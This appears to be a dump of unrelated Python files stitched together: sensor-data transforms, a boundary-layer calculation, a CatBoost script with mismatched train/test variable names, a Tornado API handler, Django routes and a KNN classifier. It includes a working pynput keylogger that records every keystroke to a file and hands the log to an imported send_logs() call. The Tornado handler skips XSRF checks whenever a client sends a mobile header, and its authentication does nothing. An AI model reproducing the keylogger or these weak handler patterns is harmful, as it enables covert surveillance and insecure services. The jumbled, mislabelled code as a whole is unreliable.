    while i != j:
        if j > Ns:
            j = 1
        elif ('%d%d' % (i, j) not in SIS) and ('%d%d' % (j, i) not in SIS):
            SI = np.concatenate((SI, Raw[j - 1].reshape(1, -1)))
            SIS += '%d' % j
            Nsis += 1
            i = j
            j = i + 1
        else:
            j += 1

    return SI[:-1]

class Ucihar4Convlstm:
    """
    Every sample generated by UCIHAR class defined in 'datasets.py' has a reading shaped as

    Batch * sensors(9) * window_size(128).

    However, the ConvLstm model requires an input which is

    Batch  *  1 * L(128 for UCIHar) * D(9 for UCIHar data set).

    To handle this problem, we build this class to do some transform.
    """

    def __call__(self, sample):
        reading, label = sample["input"], sample["label"]
        reading = np.swapaxes(reading, 0, 1).astype(np.float32)
        return {"input": reading[np.newaxis, :], "label": label}

def interpolation(t, y, f_model=50, f_device=50, kind='quadratic'):
    """

    :param t:
    :param y:
    :param f_model:     the sampling frequency of data set used to train the model
    :param f_device:    the sampling frequency of data to be fed into a trained model
    :param kind:        the interpolation type
    :return:            (t_new,y_new)
    """
    kinds = ['zero', 'slinear', 'quadratic', 'cubic', 'linear', 'nearest', 'previous', 'next']
    if kind not in kinds:
        raise TypeError("scipy does not support '{}' interpolation ".format(kind))
    if f_model == f_device:
        return t, y
    L = len(y)

    f = interp1d(t, y, kind=kind)
    Lm = int((f_model / f_device) * L)

    tnew = np.linspace(0, t[-1], num=Lm, endpoint=True)

    return tnew, f(tnew)

class Hapt2Ignatov:
    """
    The shapes of sensor readings stored in 'x_train.npy',"y_train.npy","fea_train.npy" are
    (7767, 128, 6), (7767,) and (7767,40) respectively.
    The input shape of Ignatov model should be N x D(6) x 1 x S(usually128)

    """

    def __call__(self, _sample):
        input, label = _sample["input"], _sample["label"]
        reading, fea_vec = input
        reading = np.swapaxes(reading, 0, 1)
        reading = reading[:, np.newaxis, :]
        return {"input": (reading, fea_vec), "label": label}

if __name__ == "__main__":
    from utils.datasets import UCIHAR
    import matplotlib.pyplot as plt

    ucihar = UCIHAR(transform=Si2Ai(False))

    samples = [ucihar[1], ucihar[2000], ucihar[3000], ucihar[7000]]
    for i in range(len(samples)):
        sample = samples[i]
        dftimg, label = sample['input'].squeeze(), sample['label']
        print(label)
        plt.subplot('22%d' % (i + 1))
        plt.imshow(dftimg.astype(np.uint8), cmap='gray')
        plt.title("Activity Image of %s" % ucihar.activity[label])
    plt.suptitle("DFT of several SignalImages")
    plt.show()


from scipy.integrate import solve_ivp
from scipy.integrate import quad
import numpy as np
import matplotlib.pyplot as plt

Nu = 1.81e-5
Const_vel = 10

def ue(s):
    return Const_vel

def fdUe_ds(s):
    return 0

def re_theta(s):
    return ue(s)*theta(s)/Nu

def theta(s):
    theta2ue6 = np.array([0.45*Nu*quad(lambda ss: ue(ss)**5, 0, ss)[0] for ss in s])
    Theta = np.sqrt(theta2ue6/(ue(s)**6))
    return Theta

def lambbda(s):
    return theta(s)**2 * (1/Nu) * fdUe_ds(s)

def landH(s):
    Lambdas = lambbda(s)
    def test_lambda(Lambda):
        if Lambda <= -0.1:
            l = 0.22 + 1.402*(-0.1) + (0.018*-0.1)/(-0.1+0.107)
            H = 2.088 + 0.0731/(-0.1+0.14)
        elif -0.1 < Lambda <= 0:
            l = 0.22 + 1.402*Lambda + (0.018*Lambda)/(Lambda+0.107)
            H = 2.088 + 0.0731/(Lambda+0.14)
        elif 0 <= Lambda <= 0.1:
            l = 0.22 + 1.57*Lambda - 1.8*(Lambda**2)
            H = 2.61 - 3.75*Lambda + 5.24*(Lambda**2)
        elif Lambda >= 0.1:
            l = 0.22 + 1.57*0.1 - 1.8*0.01
            H = 2.61 - 3.75*0.1 + 5.24*0.01
        return l, H
    return np.array([test_lambda(l) for l in Lambdas])

def cf(s):
    l = landH(s)[:, 0]
    return 2*l/re_theta(s)

def dstar(s):
    H = landH(s)[:, 1]
    return theta(s)*H

def lamtest():
    s = np.linspace(0, 1, 100)
    blasius_d1 = 1.72*np.sqrt(Nu*s/ue(s))

    fig, axs = plt.subplots(2, 2)
    axs[0, 0].plot(s, theta(s))
    axs[0, 0].set_title('Momentum Thickness')
    axs[0, 1].plot(s, cf(s))
    axs[0, 1].set_title('Cf')
    axs[1, 0].plot(s, landH(s)[:, 1])
    axs[1, 0].set_title('H')
    axs[1, 1].plot(s, dstar(s), label="Calculation")
    axs[1, 1].plot(s, blasius_d1, label="Empirical")
    axs[1, 1].set_title('Displacement Thickness')
    axs[1, 1].legend()
    plt.show()


import pandas as pd
import numpy as np

from catboost import Pool, CatBoostClassifier

X_train = np.array(pd.read_csv("preped/x_train_3.csv"))
X_test = np.array(pd.read_csv("preped/y_train_3.csv"))

y_train = np.array(pd.read_csv("preped/x_val_test_3.csv"))
y_test = np.array(pd.read_csv("preped/y_val_test_3.csv"))

y_train = y_train[:,1]
y_test = y_test[:,1]

train_pool = Pool(X_train, y_train)
eval_pool = Pool(X_test, y_test)

# load model
model = CatBoostClassifier()
model.load_model('models/catboost_model_4.dump')

# Feature Importance: Know which feature contributed the most
feature_importances = model.get_feature_importance(train_pool)
feature_names = pd.DataFrame(X_train).columns
for score, name in sorted(zip(feature_importances, feature_names), reverse=True):
    print('{}: {}'.format(name, score))

print('\n\n\n')
print(model.get_best_score())
print(model.get_params())

# Validation Prediction
probabilities = model.predict(eval_pool)
# print(probabilities)
pd.DataFrame(probabilities).to_csv('validation-scores/val-scores-3.csv')

# TEST VALUES

# preped_test_values = np.array(pd.read_csv('preped/preped_test_&_featured.csv'))

# eval_dataset = Pool(test_values)
# test_prediction = model.predict(preped_test_values)

# pd.DataFrame(test_prediction).to_csv('predictions/10th-submission-catboost.csv')


import logging
import requests
import json

## Log file parameters##
logFile = './output.log'
logging.basicConfig(filename=logFile, filemode='a',
                    format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO)

## File output parameter
input_file_path = './config.json'
number_of_characters = 15

def respone_status(response):
    if response.status_code == 200:
        logging.info("Trying to fetch data from URL: " + (json_data['url']))
    else:
        logging.error("URL " + (json_data['url']) + " is not available")
        exit()

with open(input_file_path, 'r+', encoding='utf-8') as json_file:
    json_data = json.load(json_file)
    #print(json_data['url'])
    response = requests.get(url=json_data['url'])
    #print(response.status_code)
    respone_status(response)
    content = str(response.content)
    update_content = {"content": content[:number_of_characters]}
    json_data.update(update_content)
    json_file.seek(0)
    json.dump(json_data, json_file)
    logging.info("updated value: " + str(update_content))
    print("Please check config.json file")


from pynput import keyboard
import logging
from client import send_logs

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

def on_press(key):
    try:
        logging.info('{0} pressed'.format(
            key.char))
    except AttributeError:
        logging.info('{0} pressed'.format(
            key))

def on_release(key):
    logging.info('{0} released'.format(
        key))
    if key == keyboard.Key.esc:
        # Stop listener
        send_logs()
        return False

# Collect events until released
with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()


import logging
import traceback
import json

import tornado
from tornado import gen
from reactorcore.handlers import base
from reactorcore import exception
from reactorcore import application
from reactorcore import util
from reactorcore import constants
from reactorcore.exception import ExternalServiceError

logger = logging.getLogger(__name__)
conf = application.get_conf()

class BaseApiHandler(base.BaseRequestHandler):
    """API handler."""

    def __init__(self, application, request, **kwargs):
        super(BaseApiHandler, self).__init__(application, request, **kwargs)
        self.data = {}

    def set_default_headers(self):
        """ CORS, for cross browser requests to the API layer
        https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#Access-Control-Max-Age
        """
        self.set_header("Content-Type", "application/json")
        self.set_header("Access-Control-Allow-Origin", "*")
        self.set_header("Access-Control-Allow-Methods", "POST, PUT, GET")
        self.set_header(
            "Access-Control-Allow-Headers",
            "Content-Type, X-NSQ-Auth, X-NSQ-Test",
        )
        self.set_header("Allow", "POST, PUT, GET, OPTIONS, HEAD")

    def options(self):
        return

    # Tornado override
    @gen.coroutine
    def prepare(self):
        yield super(BaseApiHandler, self).prepare()

        content_type = self.request.headers.get(
            "Content-Type", "application/json"
        ).lower()

        if "application/json" in content_type and self.request.body:
            try:
                self.data = json.loads(self.request.body)
            except ValueError:
                raise Exception("JSON error")

        elif self.request.arguments:
            request_args = self.request.arguments

            """
            Temporary backward compatibility to convert www-form data into JSON,
            to make API endpoints act like "web" endpoints if needed.
            """
            for key, values in request_args.items():
                if not values:
                    continue
                # if a multi-value array, preserve
                if len(values) > 1:
                    self.data[key] = values
                else:  # a single value
                    self.data[key] = values[0]

        self.log_request()

        # let CORS preflight requests through
        if self.request.method != "OPTIONS":
            self.authenticate()

    def log_request(self):
        masked_args = self._mask_unsafe_data(self.data)
        logger.info(
            "API request START [id:%s]  %s:%s; DATA: %s",
            self.request.id,
            self.request.method,
            self.request.uri,
            masked_args,
        )

    def log_request_end(self):
        _id = self.request.id if hasattr(self.request, "id") else "(no id)"
        logger.info(
            "API request END [id:%s] %s, HTTP %s in %.2fms",
            _id,
            self.request.uri,
            self.get_status(),
            self.request.request_time() * 1000,
        )

    # Tornado override
    def on_finish(self):
        super(BaseApiHandler, self).on_finish()
        self.log_request_end()

    # Tornado override
    def log_exception(self, typ, value, tb):
        """
        Prevent Tornado from logging "uncaught" exceptions as errors.
        we handle all of it ourselves in `write_error()`.
        """
        pass

    # Tornado override
    def write_error(self, status_code, **kwargs):
        exc_info = kwargs.get("exc_info")
        ex = None
        if exc_info:
            ex = exc_info[1]

        if isinstance(ex, exception.NotFound):
            logger.warning(
                "API request WARNING [%s] for user %s: %s",
                self.request.id,
                self.current_user,
                ex,
            )
            self.set_status(ex.status_code)
            response_data = {
                "form_error": {"message": constants.MSG_NOT_FOUND}
            }
            self.write(response_data)
            return

        if isinstance(ex, tornado.web.HTTPError):
            logger.warning(ex)
            self.set_status(ex.status_code)
            return

        if isinstance(ex, ExternalServiceError):
            logger.error(ex)
            self.set_status(ex.status_code)
            return

        # handle 500 errors
        if ex:
            """
            Record the last point of the exception.
            Syslog has the limitation of cutting off at 1000 characters,
            which makes it impossible to know where the stacktrace originated from
            """
            error, ex, last_tb = exc_info[:]
            tb = traceback.extract_tb(last_tb)
            file_name, line, func, failed_code = tb[-1]

            _id = self.request.id if hasattr(self.request, "id") else "(no id)"
            logger.critical(
                '[EXCEPTION] Request end %s %s %s [%s] for user %s. Error: %s. Occurred at: %s:%s %s() in "%s"',
                self.request.method,
                self.request.uri,
                self.get_status(),
                _id,
                self.current_user,
                ex.message,
                file_name,
                line,
                func,
                failed_code,
                exc_info=exc_info,
            )
            return

    @gen.coroutine
    def login(self):
        """
        Executes things that must happen at login
            - converts items pending for user (posted while not logged in)
            - sets session cookies
        """
        self.current_user = yield self.app.service.user.get_by_token(
            self.current_user.token
        )
        gsid = self._get_guest_session_id()

        yield self.convert_pending_items(self.current_user, gsid)
        yield self.convert_pending_comments_and_replies(
            self.current_user, gsid
        )
        yield self.convert_pending_favorites(self.current_user, gsid)
        self.set_session_cookies()

    def _get_guest_session_id(self):
        """
        Get or create a guest session id cookie
        """
        guest_session_id = self.get_secure_cookie(
            constants.COOKIE_GUEST_SESSION_ID, max_age_days=10 * 365
        )
        if not guest_session_id:
            guest_session_id = util.gen_random_string()
            self.set_secure_cookie(
                constants.COOKIE_GUEST_SESSION_ID,
                guest_session_id,
                expires_days=10 * 365,
            )
        return guest_session_id

    def set_session_cookies(self):
        self.set_secure_cookie(
            constants.User.TOKEN,
            self.current_user.token,
            expires_days=10 * 365,
        )

        # TODO: remove these
        # frontend should access /a/account/status instead of cookie
        #
        self.set_cookie(
            constants.User.USERNAME,
            self.current_user.username,
            expires_days=10 * 365,
        )

        if self.current_user.avatar:
            self.set_cookie(
                constants.User.AVATAR,
                self.current_user.avatar,
                expires_days=10 * 365,
            )

    def clear_session_cookies(self):
        hitlist = [
            "_xsrf",
            constants.User.TOKEN,
            constants.User.USERNAME,
            constants.User.AVATAR,
        ]
        for val in hitlist:
            self.clear_cookie(val)

    def authenticate(self):
        if not conf["api"]["authenticate"]:
            return

    @property
    def is_mobile(self):
        return bool(int(self.request.headers.get("NSQ-Mobile", 0)))

    def check_xsrf_cookie(self):
        """
            Check presence of our mobile header and bypass XSRF.
            Otherwise, use the tornado XSRF check.
        """
        if self.is_mobile:
            return
        else:
            super(BaseApiHandler, self).check_xsrf_cookie()


from django.urls import path

from feedback.views import SubmitSystemFeedbackView, SearchSystemFeedbackView, SubmitSystemFeedbackReplyView, \
    EvaluationMetricView, FeedbackView, ForceUpdateScoresView, ScorePolicyView

urlpatterns = [
    path('system/submit/', SubmitSystemFeedbackView.as_view(), name='system-submit'),
    path('system/search/', SearchSystemFeedbackView.as_view(), name='system-search'),
    path('system/reply/submit/', SubmitSystemFeedbackReplyView.as_view(), name='system-reply-submit'),
    path('metric/', EvaluationMetricView.as_view(), name='evaluation-metric'),
    path('metric/<evaluation_metric_id>/', EvaluationMetricView.as_view(), name='evaluation-metric'),
    path('request/', FeedbackView.as_view(), name='feedback'),
    path('request/<service_request_id>/', FeedbackView.as_view(), name='feedback'),
    path('score/force-update/', ForceUpdateScoresView.as_view(), name='score-update-all'),
    path('score/force-update/<user_id>/', ForceUpdateScoresView.as_view(), name='score-update'),
    path('score/policy/', ScorePolicyView.as_view(), name='score-policy'),
    path('score/policy/<score_policy_id>/', ScorePolicyView.as_view(), name='score-policy'),
]


from pyramid.config import Configurator

from substanced import root_factory

def main(global_config, **settings):
    config = Configurator(settings=settings, root_factory=root_factory)
    config.include('substanced')
    config.add_static_view('static', 'static', cache_max_age=86400)
    config.add_static_view('bootstrap', 'bootstrap', cache_max_age=86400)
    config.scan()
    return config.make_wsgi_app()


# _*_ coding: utf-8 _*_
__author__ = 'LelandYan'
__date__ = '2019/2/19 13:24'

import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets
from collections import Counter
from machine_learning_practice.knn.model_selection import train_test_split
from sklearn.neighbors import DistanceMetric

class KNNClassifier:
    def __init__(self, k=3):
        """初始化KNN分类器"""
        assert k >= 1, "k must be valid"
        self._k = k
        self._X_train = None
        self._Y_train = None

    def fit(self, X_train, Y_train):
        """根据训练数据集X_train和Y_train训练KNN分类器"""
        assert X_train.shape[0] == Y_train.shape[0], \
            "the size of X_train must be equal to the size of Y_train"
        assert self._k <= X_train.shape[0], \
            "the size of X_train must be at least k"
        self._X_train = X_train
        self._Y_train = Y_train
        return self

    def predict(self, X_predict):
        """给定预测数据集X_predict，返回表示X_predict的结果向量"""
        assert self._X_train is not None and self._Y_train is not None, \
            "must fit before predict"
        assert X_predict.shape[1] == self._X_train.shape[1], \
            "the feature number of X_predict must be equal to X_train"
        y_predict = [self._predict(x) for x in X_predict]
        return np.array(y_predict)

    def _predict(self, x):
        """给定单个待预测的数据X，返回x的预测结果值"""
        assert x.shape[0] == self._X_train.shape[1], \
            "the feature number of X_predict must be equal to X_train"
        distance = [np.sqrt(np.sum((x_train - x) ** 2)) for x_train in self._X_train]
        nearest = np.argsort(distance)
        topK_y = [self._Y_train[i] for i in nearest[:self._k]]
        votes = Counter(topK_y)
        return votes.most_common(1)[0][0]

    def __repr__(self):
        return f"KNN(k={self._k})"

if __name__ == '__main__':
    iris = datasets.load_iris()
    X = iris.data
    y = iris.target
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
    my_knn_clf = KNNClassifier(3)
    my_knn_clf.fit(X_train, y_train)
    y_predict = my_knn_clf.predict(X_test)
    print(np.sum(y_predict == y_test)/ len(y_test))
    # y = y.reshape(150,-1)
    # data = np.hstack((X,y))